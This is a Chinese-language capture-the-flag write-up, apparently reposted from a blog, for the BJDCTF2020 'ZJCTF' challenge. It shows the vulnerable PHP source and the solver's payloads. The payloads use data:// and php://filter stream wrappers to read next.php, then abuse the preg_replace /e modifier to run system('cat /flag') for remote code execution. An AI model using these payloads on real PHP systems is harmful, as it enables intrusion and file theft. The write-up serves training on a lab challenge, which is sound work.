[BJDCTF2020]ZJCTF,不过如此

知识点

伪协议
preg_replace /e 模式下的代码漏洞问题

审题

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

get传俩参 file_get_contents必须要读到一个$text传来的内容为I have a dream的文件 想到用data伪协议来读 看到了next.php这个hint 尝试了一下直接?file=next.php不行 想了想用伪协议就行了
第一部分payload

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

这样就能读到next.php的内容了

第二步

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "
";
}

function getFlag(){
	@eval($_GET['cmd']);
}

然后就不会做了 瞄了一眼wp发现 原来preg_replace这个正则匹配表达式的/e模式这么危险 可以进行rce 具体的解释大家康康这位大佬的文章 写的已经很详细了
最终payload

http://fdad1be2-5788-4d7a-a515-f49309c1b0a3.node3.buuoj.cn//next.php?S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

EOF

原文地址:https://www.cnblogs.com/zhwyyswdg/p/14303970.html